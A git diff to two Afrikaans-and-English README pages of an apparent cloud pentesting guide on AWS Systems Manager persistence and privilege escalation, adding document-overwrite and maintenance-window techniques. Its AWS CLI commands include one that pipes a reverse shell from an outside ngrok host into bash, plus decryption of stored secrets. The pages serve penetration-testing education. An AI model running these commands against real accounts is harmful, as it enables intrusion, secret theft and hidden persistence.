diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md index 69fabb591..46b02507b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md @@ -4,15 +4,15 @@ ## SSM -Vir meer inligting, sien: +Vir meer inligting, kyk: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md {{#endref}} -### Gebruik ssm:CreateAssociation vir persistence +### Using ssm:CreateAssociation for persistence -'n aanvaller met die toestemming **`ssm:CreateAssociation`** kan 'n State Manager Association skep om outomaties opdragte uit te voer op EC2-instanties wat deur SSM bestuur word. Hierdie associations kan gekonfigureer word om op 'n vaste interval te hardloop, wat dit geskik maak vir backdoor-like persistence sonder interaktiewe sessies. +’n Aanvaller met die toestemming **`ssm:CreateAssociation`** kan ’n State Manager Association skep om outomaties commands uit te voer op EC2 instances wat deur SSM bestuur word. Hierdie associations kan gekonfigureer word om teen ’n vaste interval te loop, wat hulle geskik maak vir backdoor-like persistence sonder interactive sessions. ```bash aws ssm create-association \ --name SSM-Document-Name \ @@ -22,6 +22,56 @@ aws ssm create-association \ --association-name association-name ``` > [!NOTE] -> Hierdie persistence method werk solank die EC2 instance deur Systems Manager bestuur word, die SSM agent loop, en die aanvaller toestemming het om associations te skep. Dit vereis nie interaktiewe sessies of eksplisiete ssm:SendCommand permissions nie. **Belangrik:** Die `--schedule-expression` parameter (bv. `rate(30 minutes)`) moet AWS se minimuminterval van 30 minute respekteer. Vir onmiddellike of eenmalige uitvoering, laat die `--schedule-expression` heeltemal weg — die association sal een keer na skepping uitgevoer word. +> Hierdie persistence-metode werk solank die EC2 instance deur Systems Manager bestuur word, die SSM agent loop, en die attacker toestemming het om associations te skep. Dit vereis nie interactive sessions of eksplisiete ssm:SendCommand permissions nie. **Important:** Die `--schedule-expression` parameter (bv. `rate(30 minutes)`) moet AWS se minimum interval van 30 minutes respekteer. Vir immediate of one-time execution, laat `--schedule-expression` heeltemal weg — die association sal een keer uitvoer na creation. + +### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`) + +'n attacker met die permissions **`ssm:UpdateDocument`** en **`ssm:UpdateDocumentDefaultVersion`** kan privileges escalate deur bestaande documents te modify. Dit laat ook persistence binne daardie document toe. Prakties sou die attacker ook **`ssm:ListDocuments`** nodig hê om die names vir custom documents te kry en as die attacker sy payload binne 'n bestaande document wil obfuscate, sou **`ssm:GetDocument`** ook nodig wees. +```bash +aws ssm list-documents +aws ssm get-document --name "target-document" --document-format YAML +# You will need to specify the version you're updating +aws ssm update-document \ +--name "target-document" \ +--document-format YAML \ +--content "file://doc.yaml" \ +--document-version 1 +aws ssm update-document-default-version --name "target-document" --document-version 2 +``` +Hieronder is 'n voorbeeldokument wat gebruik kan word om 'n bestaande dokument te oorskryf. Jy sal wil seker maak jou dokumenttipe stem ooreen met die teikendokument se tipe om probleme met innvocation te voorkom. Die dokument hieronder sal byvoorbeeld die **`ssm:SendCommand`** en **`ssm:CreateAssociation`** voorbeelde werk. +```yaml +schemaVersion: '2.2' +description: Execute commands on a Linux instance. +parameters: +commands: +type: StringList +description: "The commands to run." +displayType: textarea +mainSteps: +- action: aws:runShellScript +name: runCommands +inputs: +runCommand: +- "id > /tmp/pwn_test.txt" +``` +### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`) + +‘n Aanvaller met die regte **`ssm:RegisterTaskWithMaintenanceWindow`** en **`ssm:RegisterTargetWithMaintenanceWindow`** kan voorregte eskaleer deur eers 'n nuwe target by 'n bestaande maintenance window te registreer en dan 'n nuwe task op te dateer deur te registreer. Dit bereik execution op die bestaande targets, maar kan 'n aanvaller in staat stel om compute met verskillende roles te compromise deur nuwe targets te registreer. Dit maak ook persistence moontlik, aangesien maintenance windows tasks uitgevoer word op 'n voorafbepaalde interval tydens die window creation. Prakties sou die aanvaller ook **`ssm:DescribeMaintenanceWindows`** nodig hê om die maintenance window IDs te kry. +``` bash +aws ec2 describe-instances +aws ssm describe-maintenance-window +aws ssm register-target-with-maintenance-window \ +--window-id "" \ +--resource-type "INSTANCE" \ +--targets "Key=InstanceIds,Values=" +aws ssm register-task-with-maintenance-window \ +--window-id "" \ +--task-arn "AWS-RunShellScript" \ +--task-type "RUN_COMMAND" \ +--targets "Key=WindowTargetIds,Values=" \ +--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \ +--max-concurrency 50 \ +--max-errors 100 +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md index 588f095d5..bda5e6959 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md @@ -4,7 +4,7 @@ ## SSM -Vir meer inligting oor SSM, sien: +Vir meer inligting oor SSM kyk: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,7 +12,7 @@ Vir meer inligting oor SSM, sien: ### `ssm:SendCommand` -’n aanvaller met die toestemming **`ssm:SendCommand`** kan **kommandos op instansies uitvoer** wat die Amazon SSM Agent laat loop en die **IAM Role** wat daarin loop kompromitteer. +`n attacker met die permit **`ssm:SendCommand`** kan **commands in instances uitvoer** wat die Amazon SSM Agent laat loop en die **IAM Role** wat daarin loop, **compromise**. ```bash # Check for configured instances aws ssm describe-instance-information @@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` -As jy hierdie tegniek gebruik om privileges te escalate binne 'n reeds gekompromitteerde EC2 instance, kan jy net die rev shell lokaal opvang met: +In geval jy hierdie technique gebruik om privileges binne ’n reeds gecompromiseerde EC2 instance te escalate, kan jy eenvoudig die rev shell lokaal capture met: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance @@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` -**Potensiële impak:** Direkte privesc op die EC2 IAM-rolle wat aan lopende instances met SSM Agents aangeheg is. +**Potensiële Impak:** Direkte privesc na die EC2 IAM roles wat aan lopende instances geheg is met SSM Agents wat loop. ### `ssm:StartSession` -'n aanvaller met die toestemming **`ssm:StartSession`** kan **'n SSH-agtige sessie op instansies begin** wat die Amazon SSM Agent uitvoer en **kompromitteer die IAM Role** wat daarin loop. +'n Aanvaller met die permission **`ssm:StartSession`** kan **'n SSH-agtige session in instances** begin wat die Amazon SSM Agent laat loop en die **IAM Role** wat daarin loop, kompromitteer. ```bash # Check for configured instances aws ssm describe-instance-information @@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active aws ssm start-session --target "$INSTANCE_ID" ``` > [!CAUTION] -> Om 'n sessie te begin benodig jy die **SessionManagerPlugin** geïnstalleer: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) +> Om ’n sessie te begin moet jy die **SessionManagerPlugin** geïnstalleer hê: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**Potensiële impak:** Direkte privesc na die EC2 IAM rolle wat aangeheg is aan lopende instances met SSM Agents wat aan die gang is. +**Potensiële Impak:** Direkte privesc na die EC2 IAM roles wat aan lopende instances gekoppel is met SSM Agents wat loop. -#### Privesc na ECS +#### Privesc to ECS -Wanneer **ECS tasks** met **`ExecuteCommand` geaktiveer** loop, kan gebruikers met genoegsame toestemmings `ecs execute-command` gebruik om **'n opdrag uit te voer** binne die container.\ -Volgens [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) word dit gedoen deur 'n veilige kanaal te skep tussen die toestel wat jy gebruik om die “_exec_“ opdrag te inisieer en die teiken-container met SSM Session Manager. (SSM Session Manager Plugin nodig vir dit om te werk)\ -Daarom sal gebruikers met `ssm:StartSession` in staat wees om **'n shell binne ECS tasks te kry** met daardie opsie geaktiveer deur net die volgende te hardloop: +When **ECS tasks** run with **`ExecuteCommand` enabled** users with genoeg permissions can use `ecs execute-command` to **execute a command** inside the container.\ +Volgens [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) word dit gedoen deur ’n veilige kanaal te skep tussen die device wat jy gebruik om die “_exec_“ command te begin en die teikencontainer met SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\ +Daarom sal users met `ssm:StartSession` in staat wees om **'n shell inside ECS tasks** te kry met daardie opsie enabled net deur te hardloop: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` ![](<../../../images/image (185).png>) -**Potensiële impak:** Direkte privesc na die `ECS`IAM roles wat aan lopende tasks met `ExecuteCommand` geaktiveer is. +**Potensiële Impak:** Direkte privesc na die `ECS`IAM roles wat aan lopende tasks geheg is met `ExecuteCommand` geaktiveer. ### `ssm:ResumeSession` -'n aanvaller met die toestemming **`ssm:ResumeSession`** kan her-**begin 'n SSH-agtige sessie in instances** wat die Amazon SSM Agent uitvoer met 'n **verbroke** SSM session state en **kompromitteer die IAM Role** wat daarin loop. +’n Aanvaller met die permission **`ssm:ResumeSession`** kan ’n SSH-agtige session in instances wat die Amazon SSM Agent laat loop met ’n **disconnected** SSM session state **herbegin** en die **IAM Role** wat daarin loop, **compromise**. ```bash # Check for configured instances aws ssm describe-sessions @@ -72,11 +72,11 @@ aws ssm describe-sessions aws ssm resume-session \ --session-id Mary-Major-07a16060613c408b5 ``` -**Potensiële impak:** Direkte privesc na die EC2 IAM-rolle wat aangeheg is aan lopende instansies met SSM Agents wat hardloop en ontkoppelde sessies. +**Potensiële Impak:** Direkte privesc na die EC2 IAM roles attached aan running instances met SSM Agents running en disconnected sessions. ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -’n Aanvaller met die genoemde permissies sal die vermoë hê om die **SSM parameters** te lys en hulle in **clear-text** te lees. In hierdie parameters kan jy dikwels **sensitiewe inligting vind** soos SSH-sleutels of API-sleutels. +’n Attacker met die genoemde permissions gaan in staat wees om die **SSM parameters** te lys en **dit in clear-text te lees**. In hierdie parameters kan jy dikwels **sensitiewe inligting vind** soos SSH keys of API keys. ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" @@ -87,15 +87,15 @@ aws ssm get-parameter --name id_rsa --with-decryption ### `ssm:ListCommands` -An attacker met hierdie toestemming kan al die **kommando's** wat gestuur is lys en hopelik **sensitiewe inligting** daarop vind. +’n Aanvaller met hierdie permission kan al die **commands** wat gestuur is lys en hopelik **sensitiewe inligting** daarop vind. ``` aws ssm list-commands ``` -**Potensiële impak:** Vind sensitiewe inligting binne die command-reëls. +**Potensiële impak:** Vind sensitiewe inligting binne die command lines. ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -'n aanvaller met hierdie toestemmings kan alle gestuurde **commands** lys en **die gegenereerde output lees**, en hopelik **sensitiewe inligting** daarin vind. +'n Aanvaller met hierdie permissions kan al die **commands** wat gestuur is lys en die **output lees** wat gegenereer is, hopelik **sensitiewe inligting** daarop vind. ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands @@ -103,11 +103,11 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` -**Potensiële impak:** Vind sensitiewe inligting in die uitset van opdragreëls. +**Potensiële Impak:** Vind sensitiewe inligting binne die output van die command lines. -### Gebruik van ssm:CreateAssociation +### Using ssm:CreateAssociation -'n aanvaller met die toestemming **`ssm:CreateAssociation`** kan 'n State Manager Association skep om opdragte outomaties uit te voer op EC2-instansies wat deur SSM bestuur word. Hierdie associations kan gekonfigureer word om op 'n vaste interval te loop, wat dit geskik maak vir backdoor-like persistence sonder interaktiewe sessies. +’n Aanvaller met die permission **`ssm:CreateAssociation`** can create a State Manager Association to automatically execute commands on EC2 instances managed by SSM. These associations can be configured to run at a fixed interval, making them suitable for backdoor-like persistence without interactive sessions. ```bash aws ssm create-association \ --name SSM-Document-Name \ @@ -117,11 +117,60 @@ aws ssm create-association \ --association-name association-name ``` > [!NOTE] -> Hierdie persisteringsmetode werk solank die EC2-instansie deur Systems Manager bestuur word, die SSM agent loop, en die aanvaller toestemming het om associations te skep. Dit vereis nie interaktiewe sessies of eksplisiete ssm:SendCommand-toestemmings nie. **Belangrik:** Die `--schedule-expression` parameter (bv. `rate(30 minutes)`) moet AWS se minimuminterval van 30 minute respekteer. Vir onmiddellike of eenmalige uitvoering, laat `--schedule-expression` heeltemal weg — die association sal eenkeer uitgevoer word nadat dit geskep is. +> Hierdie persistence metode werk solank die EC2 instance deur Systems Manager bestuur word, die SSM agent loop, en die attacker toestemming het om associations te skep. Dit vereis nie interactive sessions of eksplisiete ssm:SendCommand permissions nie. **Important:** Die `--schedule-expression` parameter (bv. `rate(30 minutes)`) moet AWS se minimum interval van 30 minute respekteer. Vir onmiddellike of eenmalige execution, laat `--schedule-expression` heeltemal weg — die association sal een keer na creation execute. +### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`) + +’n attacker met die permissions **`ssm:UpdateDocument`** en **`ssm:UpdateDocumentDefaultVersion`** kan privileges escalate deur bestaande documents te modify. Dit laat ook toe vir persistence binne daardie document. In die praktyk sou die attacker ook **`ssm:ListDocuments`** nodig hê om die names vir custom documents te kry en as die attacker hul payload binne ’n bestaande document wil obfuscate, sal **`ssm:GetDocument`** ook necessary wees. +```bash +aws ssm list-documents +aws ssm get-document --name "target-document" --document-format YAML +# You will need to specify the version you're updating +aws ssm update-document \ +--name "target-document" \ +--document-format YAML \ +--content "file://doc.yaml" \ +--document-version 1 +aws ssm update-document-default-version --name "target-document" --document-version 2 +``` +Hieronder is ’n voorbeeld-dokument wat gebruik kan word om ’n bestaande dokument te oorskryf. Jy sal wil seker maak dat jou dokumenttipe ooreenstem met die teikendokument se tipe om probleme met invoering te vermy. Die dokument hieronder sal byvoorbeeld die **`ssm:SendCommand`** en **`ssm:CreateAssociation`** voorbeelde gebruik. +```yaml +schemaVersion: '2.2' +description: Execute commands on a Linux instance. +parameters: +commands: +type: StringList +description: "The commands to run." +displayType: textarea +mainSteps: +- action: aws:runShellScript +name: runCommands +inputs: +runCommand: +- "id > /tmp/pwn_test.txt" +``` +### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`) + +’n Aanvaller met die toestemmings **`ssm:RegisterTaskWithMaintenanceWindow`** en **`ssm:RegisterTargetWithMaintenanceWindow`** kan privileges eskaleer deur eers ’n nuwe target met ’n bestaande maintenance window te registreer en dan ’n nuwe task op te dateer en te registreer. Dit bereik execution op die bestaande targets, maar kan ’n aanvaller toelaat om compute met verskillende roles te compromise deur nuwe targets te registreer. Dit laat ook persistence toe, aangesien maintenance windows tasks op ’n vooraf-gedefinieerde interval tydens die window creation uitgevoer word. In die praktyk sou die aanvaller ook **`ssm:DescribeMaintenanceWindows`** nodig hê om die maintenance window IDs te kry. +``` bash +aws ec2 describe-instances +aws ssm describe-maintenance-window +aws ssm register-target-with-maintenance-window \ +--window-id "" \ +--resource-type "INSTANCE" \ +--targets "Key=InstanceIds,Values=" +aws ssm register-task-with-maintenance-window \ +--window-id "" \ +--task-arn "AWS-RunShellScript" \ +--task-type "RUN_COMMAND" \ +--targets "Key=WindowTargetIds,Values=" \ +--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \ +--max-concurrency 50 \ +--max-errors 100 +``` ### Codebuild -Jy kan ook SSM gebruik om toegang te kry tot 'n codebuild-projek wat opgebou word: +Jy kan ook SSM gebruik om binne ’n codebuild-projek te kom wat gebou word: {{#ref}} ../aws-codebuild-privesc/README.md